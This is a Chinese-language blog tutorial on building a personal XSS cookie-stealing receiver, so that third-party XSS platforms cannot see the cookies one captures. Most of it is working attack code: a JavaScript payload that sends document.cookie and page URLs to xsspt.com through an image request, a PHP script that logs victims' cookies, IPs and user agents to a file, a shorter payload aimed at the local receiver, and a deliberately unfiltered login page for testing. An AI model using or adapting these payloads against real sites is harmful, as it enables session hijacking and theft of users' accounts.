前言:
看JS书籍中,看着看着就想到了XSS平台,不禁对XSS平台为什么可以接受cookie产生了思考?看了下接受cookie的代码,原来是接受的步骤是这样的。
我们在存在一个XSS漏洞的地方插入XSS代码,该XSS代码从远程载入一段Javascript。这段Javascript代码的作用就是向我们的XSS平台提交一段GET请求,这段GET请求包括浏览器的cookie(document.cookie),然后我们的XSS平台就接受GET请求,把cookie获取。
那么我们是否可以自己搭建个接受模块来接受cookie呢?毕竟用别人的平台别人是可以看到我们打到的cookie的。
步骤:
这是XSS平台获取cookie的模块,下面的几段代码就可以让我们接受从某个地方打到的cookie
(function () {
(new Image()).src = 'http://xsspt.com/index.php?do=api&id={projectId}&location=' + escape((function () {
try {
return document.location.href
} catch (e) {
return ''
}
})()) + '&toplocation=' + escape((function () {
try {
return top.location.href
} catch (e) {
return ''
}
})()) + '&cookie=' + escape((function () {
try {
return document.cookie
} catch (e) {
return ''
}
})()) + '&opener=' + escape((function () {
try {
return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
} catch (e) {
return ''
}
})());
})();
if ('{set.keepsession}' == 1) {
keep = new Image();
keep.src = 'http://xsspt.com/index.php?do=keepsession&id={projectId}&url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
};
这段代码等同于<img src="http://localhost/xss.php?cookie=(document.cookie)….." />,也就是一个Img标签。该Img标签可以访问远程接受cookie的地址。
那么我们在自己的服务器上加一个xss1.js和接受并处理cookie的xss.php不就行了么。
这里的话我图简单就本地phpstudy搭建了,反正都一样。。。
接受和处理cookie的xss.php
<?php
$ip = $_SERVER['REMOTE_ADDR'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$ck = $_GET["cookie"];
$loca = $_GET["location"];
$file = fopen('cookie.txt','a+');
fwrite($file,"Location = ".$loca."\r\n"."Ip = ".$ip."\r\n"."Agent = ".$agent."\r\n"."Cookie = ".$ck."\r\n");
fclose($file);
?>
发送GET请求的xss1.js
var cookie = new Image();
cookie.src = "http://localhost:81/jsstudy/xss.php?location=" + escape((function () {
try {
return document.location.href
} catch (e) {
return ''
}
})()) + '&cookie=' + escape(document.cookie);
本地写一个无过滤的界面来测试是否可以用。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS原理重现</title>
</head>
<body>
<form action="" method="post">
用户名:<input type="text" name="userName" size="12" />
密码:<input type="text" name="ps" size="10" />
<br />
<input type="submit" name="denglu" value="登陆" />
</form>
<hr>
<?php
if(isset($_POST["denglu"]))
{
echo "您输入的用户名是:" . $_POST["userName"];
echo "<br />您输入的密码是:" . $_POST["ps"];
}
?>
</body>
</html>
最后看看我们本地的地方是否存在这个cookie.txt
成功打到cookie,说明成功。
没有评论:
发表评论